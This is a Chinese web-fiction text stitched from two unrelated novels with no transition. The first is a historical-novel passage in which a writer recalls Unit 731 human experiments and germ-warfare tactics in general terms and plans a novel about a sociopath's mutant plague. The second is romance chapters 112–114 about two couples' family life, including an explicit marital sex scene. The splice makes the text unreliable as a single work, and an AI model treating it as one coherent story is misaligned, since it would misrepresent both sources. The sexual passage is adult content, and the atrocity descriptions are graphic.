可就算她没有记住全部,也觉得那只部队里的所有人,都该被千刀万别。当时的人体实验格外残酷,有大量中国人被抓去当作实验体,他们在感染鼠疫、霍乱、伤寒等疾病后,被活体解剖,内脏制成标本。那些人还做了很多别的令人发指的事情。比如将活人烤干,最后发现干尸的体重只有原本体重的百分之二十二,并由此得出人体的含水量.比如把母子一起关进实验室并加热地面,想看母亲把孩子踩在脚下,只是一直到最后一刻,母亲依旧紧紧抱着孩子护着孩子,最后一起被烤死,又比如进行器官移植实验,随意移植他人器官,给孕妇注射各种病毒并把她们的胎儿制作成标本,放活人的血收集病毒.…以上是实验室的情况,做了各种实验后,他们还到处投放细菌和病毒。他们会让汉奸装作小摊贩之类,往各个村落的水并里投毒。 他们也会放生跳蚤、老鼠等,以此传播病毒。 在浙江、湖南等地,日本还安排飞机,撒下带有细菌和病毒的粮食、碎布、棉花、包了跳蚤的纸包等 中国古代,老百姓一直很穷。 就像《阿Q正传》里,阿Q的破毡帽都能拿去抵押换钱,而普通老百姓,一件棉袄能传三代。 些穷人,甚至会在春夏典当棉袄换钱,到了冬天再想办法去把棉袄赎回来, 老百姓的日子过得太艰难了,一块碎布他们都当宝贝,这些被日军扔下的粮食布片,白然被他们捡回去。 然后,他们就感染了各种疫病,还传染给家里人、周围人。 桑景云可以想象,他们在感染疫病,挣扎求生的时候,有多么绝望和痛苦 桑景云的脸色有些不好看,冯胡林注意到她的表情,问:“云景先生,怎么了?" 桑景云道:“没什么,我就是有点被吓到了,用瘟疫来作战,实在可恶。 “是啊。”冯胡林叹气。 桑景云深吸一口气,问了冯胡林一些跟细菌战有关的问题 冯胡林道:“我这段时间到处打听跟细菌沾边的消息,得知现在的德国,就在研究细菌,想用细菌做武器来对付敌人,不过因为种种原因没有成功。 瘟疫对这个时代的人来说,真的太可怕了。 中国很大,每年都有瘟疫发生,欧洲曾因为黑死病,也就是鼠疫死去无数人,日本也常常出现瘟疫。 结果,人类刚刚对细菌和病毒有所了解,竟然就想着用它作为武器来害人。 真的是又疯狂,又可怕。 轻视细菌和病毒,是会给人类带来灾难的! 哪怕是百年后,艾滋病毒依旧没办法消灭,新冠也曾席卷全球。 桑景云想过之后,决定写一个变异鼠疫感染全人类,人类全部死亡的故事 故事就从一个小国想要使用细菌作为武器,来称霸全球,掠夺全球资源开始。 整个故事是架空的,又架得没那么空。 它讲述的,是东胜神洲上,有许多国家,其中唐国最大,别的国家比较小。 但世事变迁,到故事发生时,唐国已经衰落。 唐国附近的一个叫霓国的小国却发展迅速。 霓国仗着自己科技发达,拥有新式武器,就进攻唐国。 但霓国人太少,没办法彻底占领唐国,他们考虑过后,打算使用细菌战, 鼠疫曾经肆虐整个东胜神洲,让东胜神洲的人死去三分之一不止,霓国决定将之研究透彻,投放到唐国,让唐国人死光。 他们国家一个叫石四的人,拥有反社会人格,希望毁灭全人类 于是他鼓动国家上层,在唐国建立了一个实验室,利用唐国人进行各种惨无人道的实验。 研究过程中,他们国家的研究员不慎感染鼠疫,同样被他解剖 他的实验室充斥着各种病毒和细菌,终于,变异的鼠疫在其中诞生,这种鼠疫传染性极强,死亡率百分百。 一旦感染,再无生还可能。 而且不止人类和老鼠会感染,其他各种动物,也都会感染, 实验室死的人越来越多,人们终于意识到不对劲,某些研究员在看到同事纷纷死亡后,出于害怕逃出研究所,将变异鼠疫带去各地。 不,其实在那之前,变异鼠疫就已经被带出研究所了。 一个研究员养的猫在感染后跑了出去,在研究所觅食的麻雀飞往远处,来研究所视察的霓国将军也已经感染.… 研究所地下的水里,也充斥着变异细菌,正往四周扩散。 感染这种细菌的人,会有短则数天,长则半个月的潜伏期,而且在潜伏期,就能传染他人。 变异鼠疫开始疯狂传播. 症状就跟普通鼠疫一样,只是感染了变异鼠疫的人和动物,百分百会死 霓国建立这个研究所,是想杀光唐国人,可实际上,他们国家的人,也死得一干二净。 石四当然也死了,不过他死前很开心,很满足 全世界都会为他陪葬! 桑景云上辈子,曾经写过反社会人格的反派,也看过相关的小说和电影。 她在纸上写写画画,将石四这个人物的人设慢慢完善 完善好人设之后,就该考虑剧情了。这部小说的剧情不难写,主要是后世相关的电影,非常多。桑景云上辈子小时候,就看过欧美拍摄的,非洲病毒飞快传播,以至于死了很多人的电影,后来的丧尸片,其实本质也差不多。至于这样团灭的小说会不会没人看人们喜欢看爽又,但也喜欢找刺激在后世,恐怖片一直有人看,那些含有丧尸、鬼、僵尸、异形、污染物之类的恐怖元素的作品,也有很多人喜欢。这部小说的剧情,其实放后世很俗套,但在这个时代,绝对称得上新颖,不愁没读者。就是这部小说,最好能翻译成英语和日语,分别在欧美和日本出版。总之,越多人看到这部小说,越好。此外,这部小说她打算用新笔名写,写了之后,投稿给《上海日报》这部小说涉及的内容有些多,虽然是架空,但安全起见,还是别跟自己扯上关系比较好。而且,她打算把自己在后世了解到的,日本731部队干的混灭人性的实验,和自己知道的浅薄的跟细菌病毒有关的知识写进书里。她写《一个士兵》,用到的知识都可以在顾教授那里查到,而且她主要写的是人和人之间的关系和吗啡的危害。她一个年轻女人写这些,不至于引起怀疑。 但这本书不一样。 她如果写惨无人道的实验和她不该知道的细菌病毒相关的知识,肯定会惹人怀疑 桑景云甚至不想让谭峥泓知道,到时,可以只让帮她誊抄的桑景雄知道, 桑景雄年纪小好糊弄,她跟桑景雄说这是她从冯院长那里听来的,日本人干的事情就行。 想好了就写! 这本书的主角,自然是石四。 这是个天生的坏种。 普通人都有同理心,会同情遭遇不幸的人,一些感情丰富的人,还会感同身受地落泪。 但石四不会,他看到别人痛苦,甚至是自己的父母痛苦,心中都毫无波澜,只是他会伪装,伪装成一个正常人 他还情感淡漠,对身边人只有利用,没有真正的感情。 他甚至觉得,伤害他人是正常的,只要自己想做,就没有什么是不能做的。 石四是个霓国人,已经读到医学博士。 故事的开篇,就是他故意制造了一场意外,让自己那个身为外科医生的“好友”再也没办法给人动手术。 他的好友无比痛苦,而他模仿周围人的表情安慰对方,并欣赏这场由自己制造的杰作。 他的好友出事,并不能给他带来任何好处,但他就是这么干了! 然后,有人来找他,说是他提出的,重启细菌战相关研究的申请被批准了。 桑景云写这个人的时候,怎么可怕怎么写。 石四是个变态,他没有心理创伤,他犯罪没有理由,他就是天生的坏,从内到外散发着恶意 这一切不怎么好写。 也因此,桑景云写得有点慢,写完还会反复修改,确保自己将石四写得足够坏 重看自己写的内容的时候,桑景云甚至有种恨不得当场砍死石四的冲动。 她这人,其实是有些淡漠的。 大约是自幼与父母分离,寄人篱下,爷爷奶奶对她也不怎么样的缘故,她对周围人有很强的戒备心,很难跟人建立亲密关系。 但她看到那些生活困苦的百姓,会同情他们,会想要帮助他们,她也做不出伤害别人的事情。 她是个普通人,而石四是个畜生。 桑景云写完开头后,将稿件收好,这才去洗漱,准备睡觉 而这个时候,很多上海以外的人,已经收到亲朋好友寄来的《梦游莫斯科》: 他们收到的,多是叠得整整齐齐的报纸。 很多人刚打开信封时,还以为收到的是云景的新小说,毕竟他们的好友曾经给他们寄过。 但很快,他们就发现,这篇小说的作者是东兴。 有些人知道东兴,他们的朋友给他们寄过东兴写的文章,但也有很多人,压根不知道东兴是谁 不过,小说的作者从来都不是关键,小说的内容,才是他们该在意的东西。 而很多有钱人看了这部小说以后的第一反应,是这部小说不能让那些在底层苦苦挣扎的老百姓看到。 那些老百姓在看了这部小说以后,可能会生出某些不安分的念头。 但紧跟着,他们又意识到,这或许是一条救国之道。 这些人的想法,桑景云能猜到一些,但懒得理会。 《梦游莫斯科》这部小说,其实不是给这个时候的人看的,而是给未来的老百姓看的。 她现在就把这本书写出来,是因为过几年再写,可能才刊登个开头,这本书就会被禁,还有人会想尽办法把她这个作者找出来。 现在写,就没什么关系了。 如今连十月革命都还没发生! 而她正在写的这部跟细菌战有关的新书,也是给未来的人看的, 她希望这本书传开后,细菌战可以不复存在。 而这本书的名字,桑景云在考虑过后,决定叫《全球瘟疫》 几天后,终于将《全球瘟疫》开篇一万字写完的桑景云,在晚饭后把桑景雄叫到自己房间,让桑景雄帮忙誉抄这部小说。 “姐,你终于写新小说了!”桑景雄喜滋滋地开口,打开桑景云的稿件就开始看。 112、痛快想你 15 可是后来,她屁屁真的很痛.陈蝉衣和许珈毓抱怨,动不动就:【我屁屁痛。】好直白好没有廉耻心(尽管许珈毓从前也这样),可许珈还是真情实感沉默了她也不是独自在家,她老公还可能看见呢!许珈毓思忖片刻,和陈蝉衣约定:【好,但是以后就说暗号。】陈蝉衣:【哦,行啊,那以后就叫ppt。(比心)】 许珈毓:“?" 她连忙发过去:【什,什么……我跟不上潮流了吗?ppt是什么暗号?打工人??】陈蝉衣:【不啊,ppt,屁屁痛,所以ppt=屁屁痛。】陈蝉衣很骄傲:【是我发明的,厉害吧。(比心)】 许珈毓:【。】许珈毓:【好的亲爱的。】实际操作几次,后面陈蝉衣懒得切换输入法,于是再之后,ppt文学演变成了-“呜鸣,我今天劈劈踢了。”是发的语音。江泊雪那会儿正从书房出来,去餐厅端水(对,他老婆在家连杯水都不帮忙倒,太可怜了)。路过客厅,听见这句。江泊雪皱眉,高大身影沉默了会,还是疑惑道:“她还会做PPT,是那个PPT吗?PowerPoint?" 许珈毓差点吓得手一抖。 反应过来他并没发现,拼命点头:“嗯嗯嗯,是是是! 总觉得不像那么回事,但是又说不上来。江泊雪倒满了水,又拧着眉头多看了她两眼,慢腾腾再次进了书房。 结果不久后,在儿子江城朝的生日宴,江泊雪见到了陈蝉衣。 当时是一月份,海城冬天并不冷,是个无雪之地,这些年气温也温和,不像许珈回来那时候了。 陈蝉衣给圆圆选了丝绒小礼裙,玫瑰色,外面搭件小外套,不冷不热刚刚好。 圆圆是第一次去海城,坐飞机很兴奋。 她先前年纪太小,李潇怕她出意外,并不常带她出去玩,飞机也没坐过。 小姑娘很好奇,眼巴巴盯着飞机舷窗瞧,下面的田野慢慢收缩成一点,她露出很惊艳的表情陈蝉衣凑着和李潇说:“看来崽崽还挺喜欢的,本来还担心她耳鸣疼,会哭鼻子呢。"“只有你会哭鼻子,崽崽比你胆子大。李潇笑着望她:她打了他一下。 圆圆春天就要两岁了,脱离了婴孩时期的稚嫩,她性情逐渐活泼起来,也变得臭美好动。 许珈毓一见她就喜欢得不得了,她家也有个宝贝女儿,叫暮暮,性子就太软和,不爱闹也不活泼好动,比圆圆大一岁,可还是安安静静的。 暮暮喜欢清静,和江泊雪很像。 可是对小姑娘来说,那么温柔安静,难免会被人欺负,许珈毓苦恼的就是这一点。 她觉得陈蝉衣家小孩可以带暮暮玩一下。 不过可惜,那段时间暮暮生病了,在别墅里睡觉,许珈毓就没喊她倒是江城朝在。 城朝不是第一次见圆圆。 准确来说,他初见李思沅,对方还是个睡在摇篮里的小粉团子。 那时候是圆圆满月,他和父亲母亲来南京,给妹妹庆祝,就在颐和路的小公馆。 城朝从没去过南京,也很少见到梧桐,因此印象深刻。 他家的礼物,是一柄玉如意,是他去送的。 女娃睡在摇篮里,很软很乖一小点,让他想起妹妹,刚出生,也是这么软软一点。 城朝把如意放到她摇篮,小公馆外,梧桐伸出枝,有青色果子落下来,掉在她盖的百家被上。 城朝说:“妹妹好。 南京四月春光和煦,风很温和。 梧桐树沙沙地响,小公馆郁郁葱葱的爬山虎。 罅隙里有透明日光照下来,襁褓里女娃的皮肤很白,到近乎透明,他别的没记住。 这一幕倒是记了很久。 以至于陈蝉衣牵着女儿过来,他一眼就认出来城朝仰头打招呼:“陈阿姨。陈蝉衣也笑眯眯地:“嗨,小城朝。城朝转向旁边,男人换了身深灰大衣,显得不苟言笑,感觉上和他爹差不多,城朝:“李叔叔。"李潇领首,微笑说了声:“你好。"城朝好崩溃,不知道为什么,居然在李身上,看见了亲爹的影子。他俩都属于那种严肃刻板型,只不过李潇身上气质温和,相较于江泊雪,他更柔,笑起来唇角也有弧度。说是不好亲近,然而人很宽厚温柔。 他亲爹江泊雪完全不是。 江泊雪是严苛的,脾气称不上好,甚至可以说冷漠。只有回家面对妻子,或者怀抱女儿,才会露出一点点类似于“温情”的模样。 城朝对江泊雪天然恐惧,面对李,和他爹样貌风格差不多的男人,难免有些露怯。 圆圆看不出来。她现在很活泼,看到陌生人也不怕,对着城朝,歪头露出一个大大的笑。嘴巴亮晶晶的,蠢萌蠢萌。看得城朝心生好感,他就喜欢这种可爱妹妹。江城朝走过来,很有礼貌地问:“你叫什么名字?" 他去南京,只知道是给陈阿姨女儿过满月,至于小女娃叫什么,甚至陈阿姨老公名姓,他一概不知。陈蝉衣看得两个小娃娃互动,很搞笑。她推了推女儿:“乖宝,告诉哥哥叫什么?"崽崽露出一小排整齐的小白牙,捏着裙子边边,有些羞涩,但是很大胆说:“李圈圈!” 陈蝉衣:"" 李潇:“ 许珈毓在旁看得大笑,都哪里来的宝贝,真是太可爱了。她蹲下身捏小患的嫩脸:“哟,宝宝什么时候改名的,我怎么不知道呢?"连江泊雪望着她都不由眼神柔和,弯了弯唇角。崽崽撅起小嘴巴:“没改名呀,就叫李圈圈。 陈蝉衣真是头痛扶额 这件事说起来也是荒谬,崽崽小时候发育得比较迟缓,比一般小朋友都慢,不仅是学东西,就连说话也是家里是李漾教她,陈蝉衣虽然也教,然而远没有李那样,有绵长细致的耐心。 崽崽从一开始认字,李漾就是教的她自己的名字。她名字是李思沅,“李”字比较简单,反正对于崽崽来说是这样,或许也有李潇在家里签很多文件的原因。有时候他在书房,黑定想他,黏他,就会天找他李潇很疼女儿,即便工作忙没时间,看见患崽推开门,摇摇过来,挨着大腿坐在椅子腿边边。还是会心里一软。抱着崽崽坐在大腿上,让崽崽看着他办公。 他专注力其实很不错,切屏给患患放动画片看,也不会受任何影响。 有时候华越的东西要他签字确认,是电子版,他在平板上签,有些文件也有寄过来的,纸质。 崽崽看多了,也就记住了。 后来李潇教她写自己名字,她看见那个“李”,和爸爸如出一辙,觉得亲近。 就会露出一个甜甜的笑。 只是后面两个字,她认不得。 崽崽人还小嘛,反应又慢慢的,又没有亲近的人有相同字参考。 她记不得嘛。 李潇对女儿温和,觉得怎么能怪她。 也就渐渐随她去了,决定等再长大一点教。 她不认得后面两个字,就算了,可是每次家里人叫她,也不是都叫“圆圆”。 尤其是和爸爸妈妈待在一起。 她和陈蝉衣李漾的时间最长,这两个人基本不叫她小名,都是叫“患崽”“宝宝”“小宝”崽崽对自己的小名,也就没什么印象。 不会写字,对发音也没感触。 太难了。 后面她练习写字,在本子封面,写自己名字写好“李”,别的不会写。她干脆画了两个圈。 家里来客人,问她:“小宝贝,你叫什么呀?" 圆圆蠢萌蠢萌的,记性差,想半天想不出来,最后对着大家宠爱期盼的眼神,她捏着蓬蓬裙边边。看一眼作业本上画的两个圆,小声说:“圈圈。”李潇好难过,真的好难过,他晚上睡到床上了,都在思考人生。电脑开着,他低头捂着额头,很痛苦,很不得其解:“我耗费毕生语文水平取出来的名字."陈蝉衣理解他,安慰拍了拍他肩膀:“算了算了,患高兴就好。"李潇捂脸,伤心欲绝。 再后面,他试图掰正患患的认知,怎么就“圈圈”了?谁跟她就“圈”了,她大名和小名,哪个不比圈圈两个字好听? 可是崽太小了,记性就这么点。她要是能记得住,也不至于能把自己名字都忘了。李潇跟她讲话:“小乖,你叫圆圆知道吗?"崽崽皱眉,犹豫了会,面带疑惑点点头。 可是过不了两天,又忘了。 李潇改变策略,在家里只喊她“思沅”“圆圆”,其实还挺有效,起码崽崽听到会应声:“啊! 然后哒哒哒跑过来,伸手抱住李潇小腿。 只是轮到问她自己叫什么了,她还是说不上来, 李潇好气又好笑,无奈揪了揪她软嫩的小脸:“你啊。算了,女儿是宝贝,他还能跟她计较什么。只是轮到人家问了,女儿真的脆生生叫“李圈圈”,他还是觉得尴尬。老父亲还没等到女儿上学开家长会,先把脸丢过一遍了。陈蝉衣继续安慰他:“没事,丢着丢着就习惯了,圈圈就圈圈,没听过那首歌吗?"圈圈圆圆圈圈’,指不定咱们崽以后是文学天才。"李潇:真的吗,他不信。 江家海庭热闹非凡,许珈毓在带着小朋友们分蛋糕,患患超爱吃甜的,和她妈咪一模一样,看到小蛋糕就馋得走不动道,。李潇看她迈着小短腿,跟着城朝走来走去的背影,快活得像只小雀,可是她在家里就很孤单。他常年在京城,家里小朋友只有她一个人。他晃了晃手里端着的酒杯,垂眸,压低声音问陈蝉衣:“你说,我们要不要给患患生个妹妹玩? 113、痛快想你 16 他真的好喜欢小孩,陈蝉衣堪堪憋住笑意,眼瞳漾起浮光瞧他:“就妹妹?没有别的选项?"李潇低声也笑了,他知道她打趣的是什么,轻声说:“弟弟也行,这次我没要求。顿了顿,补充一句:“但最好是妹妹。" 陈蝉衣捂着唇瞪他:“你真的好离谱,万一以后真的生儿子,他知道他爹在还没他的时候,就这么说他吗?男人眼底浮着细碎笑意,像是温柔的夜县,平和而纵容看着她:“你不说,我不说,他从哪里知道?"陈蝉衣侧过身,去拿餐台上的抹茶蛋挞。 “所以你是同意了?" 陈蝉衣别扭撅起嘴:“我才没有。 周遭人群喧吽,有时会有人过来和李潇打招呼,华越背后了不得的贵人,谁都想和他攀好关系。可他怎么样呢,他竟然挨过来,臂弯圈住她,掌根温热,就搭在她腰臀。 呼吸轻轻浅浅洒在脖颈里,好热,弄得她好痒,好想躲。 可是刚躲开,又被他勾着腰,强硬地拽回来。 有西装革履的男士带着女伴来打招呼,李潇温和摆出一副笑脸,举杯示意。言谈间,指尖却乐此不疲,不轻不重揉着她腰间软肉,隐晦,幅度不大,没人能看见。 而他坚持不懈。 等那男人走后,他仍然还是维持着那副笑脸,凑过来,贴着她耳廓:“,小宝,你的回答呢? 陈蝉衣真佩服他。她就知道,他都是装的,什么温和从容,鬼扯,他脑子里其实很简单,就两件事,什么时候吃她,以及怎么吃她他跟别人讲话,手指还在动。鬼晓得他当时真正想的是什么。然而晚上她就知道了。 江家安排了酒店,是套房,她洗漱完,李直接把她拖到床上。 崽崽已经在小房间睡着了。 李潇半压在她身上,眸光锋利得像鹰集,他像杆枪,挺坚硬,浑身气却又不容忽视李潇说:“白天给你很多时问了,你的答案呢?"陈蝉衣拼命攥住自己浴袍:“没答案,我还没想好呢!" “没想好什么。”他称得上慢条斯理,指尖不疾不徐,一点点磋磨她的浴中。很粗粝的材质,他无端想,她受不住这种布料,用这件磨她,两分钟就能哭出来:“是没想好生不生孩子,还是没想好要不要跟我睡觉?"男人的额发有些凌乱,睡衣也不规整,睡裤上皱皱巴巴的痕迹,是被她混乱间蹬的。 李潇睡衣永远整齐不了,即便不穿着衣服干她,等他换好衣服,或者仅仅是在前戏时。 她就得攥着他衣襟,肩膀处的缝线部分,衣摆,手臂,哆哆哭出声。 睡裤则是会被弄湿。 她是个说不上来什么体质,孕期敏感,后来更敏感,敏感的教训就是提醒李满,以后永远记得备一条毛巾,就搭在床边,或者随便哪里,伸手能够到的地方。 他不想弄她弄到一半,还要下床找毛巾。 因为如果不找,这张床单那晚肯定再也睡不了人。 李沉腰:“说啊啊。"她咬着手背呜咽:“不说。那他真的给过机会了,再好的脾气,这种事情上哪能容得她胡来,李淡淡嗯:“那就不说,睡觉。”他往前慢慢撞,“就这样睡。动作称得上温柔,换个词,就是折磨。 陈蝉衣不怕他蛮横,也不怕他跟个禽兽一样俯身在她身上,她比较怕这个,水磨功夫,精细又磨人,弄得人不上不下的。明明在喘气,大口喘气,可偏偏就像是落水,喘不上气她哭了:“呜呜,不要,我要睡觉。” 李潇摸摸她头发:“就在睡觉。陈蝉衣推他:“不是这个睡觉,不是!我要睡你出去的觉!”她哽咽流着泪,“不许放,出去!"她好像是哭得真情实感,真动情,男人眸色暗了暗,要不是他了解她,他真就信了。"调我。"他轻声低笑一声,轻巧攥住她脚课,压上去,她膝盖弯曲质着他胸膛,他这几年作息很规律,健身尽管次数不多,筋率却稳定,身材保持得紧实完美,"我要是现在出去,你一会才要骂我,他不知道这个小姑娘哪来的癖好,很久之前有天晚上,应该是一场结束了,他抱着她在帮她顺气.她不耐这个,每次做必哭,就是频次不一样,他都要哄。那时候他圈住她,看着小姑娘红彤彤的鼻尖,还在心里感慨,他好像还没有用力,怎么就能哭成这样。弄得他好像强.奸。 结果后面,小姑娘偏过头,还在抽噎,但是悄摸摸跟他咬耳朵:“我喜欢这个。 他眉一挑。 她半是害羞,半是真心实意夸赞:“好舒服,以后就这样。 李潇无奈莞尔。 他说不出话,可唯有一点好,够听话。 她喜欢这种风格,后面每次上床,他都有过之而无不及,有时候弄得重了,他也会惊疑不定,停下来问问。 陈蝉衣不是很乐意:“你快点嘛。 嘟着嘴,很不满。 李漾真是气笑,弄得狠了,她幽幽咽咽哭,不知道的还以为怎么,可是真停了,她又受不了,催他,亲他唇角舔舐他,让他快点. 真是难伺候得很,娇娇的小姐脾气。 可他时间足够充裕,能配合她玩各种想尝试的。 陈蝉衣还问过他,缩在他身下湿漉漉:“那你这样,同事都不说你哦?"她做这种事还能分神,李溁皱眉,不是很满意地沉腰,看她又掉眼泪了,他身心才微微放松,轻声道:“他们不说我,你就得说我了。他掌根撑住她腿弯:“舒服吗?" 呜呜其实真的很舒服,可是陈蝉衣咬着被角,羞怯地盈着一双眼睛,不肯说。最后才别扭戳戳他:“我要换个姿势。他单手把她托起来。因此基于他对她的了解,在这样的酒店,和他东躲西藏,玩这种让他恼火的游戏,可以说目的只有一个,和他睡觉.李潇拍拍她腰:“转过去。陈蝉衣都迷糊了,本来就不耐这个,他折腾个没完她都跟不上:“干嘛换,就要这个姿势。"他强行把她翻了个身,重新半压着她埋身:“坏女孩,一点也不乖。" “不乖你就不爱我了吗?" 气得他真笑了:“我要是能不爱你,我不知道省心多少。"男人手臂就撑在她枕边,陈蝉衣蜿蜒的长发铺在床榻,包裹他缠绕他。臂膀是她两截那么粗,她愤愤不平,啊呜咬上去,留下个浅浅的牙印宣泄不满:“哼。 她第二天朦朦胧胧醒来,脑子清醒才想起来,他好像昨晚上,压根没戴套。陈蝉衣红着眼圈委屈:“你好坏,我这样会怀孕。"李潇平静说:“嗯,知道。""那你还不戴!" “戴什么。”他支着额头笑了,“让你怀啊,戴套怎么怀?"陈蝉衣想着这句混账话去咬李潇,男人漆黑眼瞳安静无声,他现在在蛰伏的边缘,很轻易又进去,摁着她手腕放唇边亲了亲:“还挺有劲,你好好想想,是我不戴的吗?陈蝉衣最开始都没听出来:“当然是啊!" “是吗。”他平静,声音几乎没什么波澜,“是我昨晚说,戴着不舒服,要拿下来,不让拿还硬拿,最后干脆把床头柜那盒都丢垃圾桶了.…是我吗?"陈蝉衣手腕一下子停下来。 对上视线,李潇再次慢条斯理重复:“嗯,是我吗,小乖?"她眼瞳颤了颤,柔软而潮湿,和她的身体一样,颤抖着战栗着。她忽然意识到,好像,似乎。说这些话,做这些事的,是她自己。 是她敏感到情绪一瞬上头,所以对自己的丈夫提出的要求,李尝试制止她,没成功,所以最后应她所求,满足她“呜呜呜呜!”她好羞耻,又不想承认,“那你也应该拦住我啊,怎么你力气就那么点?拦我也拦不住?" 真是,好无理取闹的小女孩。 李潇低低笑了,凑过去,鼻尖贴着她鼻尖,柔软蹭了蹭,喉咙哑说:“说得有道理。”他说,“可是我不想。 她觉得舒服,他当然也是。 甚至更甚。 “我和你说会怀孕,照以往经验,很大概率。”李看着她眼睛,“结果你说什么?你义正言辞质问我,“养两个难道养不起吗?’"陈蝉衣心里咯噔,使劲咽了咽口水。她怎么会说出这种话,这下真的完蛋了。 李潇尽管不再像从前,可也终究听不得这种话,是个正常男人都听不得,他的妻子问他能不能养得起孩子,简直是在质疑他作为男人的本能和根本。 陈蝉衣陡然意识到,问题好严重。她小心翼翼贴过去,试探着,慢慢地勾住了他脖颈,很讨好地舔了舔他嘴唇。 嗫嚅道:“对不起嘛。 李潇说:“没怪你。"他眉眼微沉,眼底像是压下厚厚的晦暗情绪,像积雪,“不过,小宝你是不是要象征性有点表示?"她鸡啄米似的点头:“嗯嗯。 她知道她身上这个男人情绪压抑得很深,平时都没什么要求的,她问他,他都很少说,现在好不容易借这个契机开口,陈蝉衣觉得,那也挺好 李潇言简意赅:“帮我生小孩。 好个屁啊!她拿脑袋磕他锁骨:“王八蛋!"不太疼,李潇闷闷笑出来。 他翻个身把她圈紧在怀里,垂首,鼻尖嗅着陈蝉衣身上极淡的气息,温柔安定的,属于妻子的味道,融合他混杂进去。 他闭上眼,安静横着臂膀在小腹,轻轻地拍了拍。 而就像是父亲独有的预感,三个月后,陈蝉衣开始孕吐,她真的怀了孕。事, 114、痛快想你 17 或许真是早有准备,李潇对这个孩子的到来并不意外。他平静安排好一切,和研所打了报备。陈蝉衣原本有的问诊,两次,都是在外地,一次对方夫人表示理解,他帮她推掉。还有一次推不掉。 李潇告假,亲自陪她去了一趟。 再后面就没有事了,她是飘雪季节有的孩子,预产期就在秋天。陈蝉衣其实心里还挺高兴,她觉得是个不错的日子,生孩子时气候不冷不热,会很舒服。 倘若夏天生产,她休息和伤口恢复都麻烦。 有了怀思沅的经验,李潇照顾她愈发得心应手,只是她这胎怀得并不稳当。 不仅是孕吐胸闷,她夜晚也经常失眠多梦,小腿浮肿抽筋。每夜冒着虚汗醒来,都觉得浑身疲惫,很难再入睡. 李潇看着很心疼。 类似情况他其实预料过,毕竟是孕期常见状况。然而他终究太低估严重程度了。“思沅太乖了,待在你肚子里的时候,什么都是安安稳稳的,我即使知道孕期各种可能都会发生,也确实想不到会有这么糟糕。夜里陈蝉衣吐过一次,没吐出来什么,只是微微蜷着肩膀,趴在床边干呕。李潇拧眉,手臂将她揽在怀里,慢慢顺着她的背:“好点了吗?"陈蝉衣难受地摇摇头。他起身,倒水来给她漱了口,观察了阵不再吐了,李才复又重新上床,让她靠在自己的肩窝里。那副身躯到了孕期,又变得像是怀圆圆时那样柔软。触感是不一样的,甚至连靠在他胸膛上温热的感受,都不尽相同.她睡不好觉,李潇每日每夜都紧张照看着她。 这种是谁也想不到的,陈蝉衣蹙眉闭着眼睛,趴在他怀里休息了会。屋子里黑暗而安静,男人气息洒在她发顶,带着些不易察觉的急促。陈蝉衣睁开眼,脸颊蹭了蹭他睡衣,小声道:“感觉现在好点了。"李潇捏了捏她手腕:“能躺下休息吗?" 她孕吐时胃是不舒服的,有时候躺下睡着会更加难受,陈蝉衣虚弱点了点头:“好像有点冷了。”李潇紧了被子,将她裹在里面:“还睡得着吗?"“感觉有点困,可是好像又睡不有。”她苦恼地扁了扁嘴。李潇失笑:“那我陪宝宝说说话吧。 她乖顺地靠过去。 静谧的夜里,他锋利的眉目蹙着疲惫,透着股子忧虑意味。李唇色微白,把被孕期折磨的妻子扯进怀中。 他贴着她耳廓,放轻声音,会跟她讲研所的事。陈蝉衣脾性被他养得很像孩子,就喜欢听这些八卦。 李潇人生这么多年,从没关心过旁人的事,没想到现在开始关心,是因为妻子想听。 就那点家长里短的事,他们研所有对小夫妻最近闹离婚,说是为了小孩在哪里上学,他老婆想把小孩送出国,家里男人不是很愿意。他们这种单位,要把小孩送出去,确实需要考虑很多。为着这件事,李同事近来上班,总是愁眉不展,有次看见他和妻子在大院门外吵起来,闹得不是很愉快。陈蝉衣想了想:“可是家属应该是知道,这种单位就是出国会麻烦些,他老婆为什么那样?"李潇失笑:“我哪能了解得那么细。”陈蝉衣垂眸,盯着他襟口扣子:“圈圈隔年也要上幼儿园了,你有考虑过让她去哪里吗?“我们单位有那种家属幼儿园,基本上都是机关干部家小孩在里面,这个不用担心。"他捏住她指尖,有点不满意:“你怎么也开始喊圈圈了?" 宝贝女儿的名字他想了那么久。 就算崽崽自己给搞忘了,他也坚决不同意她改名。 李圈圈,好荒谬的名字。 李潇不高兴。 陈蝉衣本来听得都困了,听他说不用担心,点点头阖眼正想睡,这会又把眼睛睁开了,弯成两道桥笑:“可是我现在觉得圈圈也挺可爱的啊。 “不许。”他低眸堵她唇。 “别的都可以答应,我好不容易取的名字,我捍卫到底。 言澧是十月秋日出生的。出生那天,是个非常晴朗的秋日早晨,那时候陈蝉衣正在南京,医院外面可见繁茂的梧桐枝桠他在陈蝉衣肚子里时,有些磨人,原本夫妻俩都有几分不安。担心即使有经验,生产会不会也困难。 幸好言澧这方面挺拎得清,不想折腾妈妈,没多费工夫,顺顺利利就生出来了 他名字是跟着姐姐起的,本来他爹说叫“思澧”被他娘陈蝉衣强行改了:“报听,给我崽改成"言’。”他爹:“. 李潇默默心碎了一下,但还是听话改了。毕竟两个崽,名字这东西一人取一个很公平。于是言澧正式诞生。言澧还在摇篮里的时候,思沅就经常趴在小床边看弟弟。陈蝉衣摸摸女儿头发:“弟弟很可爱哦?"思沅用力点点头,笑得咧出小白牙:“是呀。” 她想抱弟弟,只是人太小了,抱不起来,努力撅着小屁股往里捞。李看得好笑,怕俩小家伙都摔着,就把言澧的小襁褓放到床上。 圈圈很自觉地跟着爬到大床上,绕着弟弟爬了会儿,最后累了,安安稳稳躺到弟弟身边睡下了。 秋天南京变冷,她也嫌冷,之前在京城住多了,习惯供暖之后,再来南京就有点娇气。 圈圈扭个身,从旁边拽过小毯子,给自己和弟弟搭起来。 言澧半阖着眼,默默看着她。 其实家里,性格最像父亲的还是言澧。 圈圈到底是个小女娃,娇气得很,也更活泼些,时常爱笑,蠢萌蠢萌的很可爱。 言澧就不是。 陈蝉衣参考着圈圈的成长轨迹,还以为到了一岁之后,患患有分辨情绪的能力了,性格会发生变化。 可言澧没有。她家这个小二宝,出生多深沉,长大了还是多深沉。有时候圈圈不像是姐姐,更像是妹妹,每次家里有什么小零食,小玩具,圈圈要是喜欢,言会直接把自己那份都给她李圈圈简直是小姐脾气中的小姐脾气,亏陈蝉衣看她半岁时候那么乖巧,慢吞吞,还以为是个乖宝。屁嘞,根本不是。 圈圈深谙大小姐法则,从小就开始熟练pua所有人,尤其是她亲弟弟。 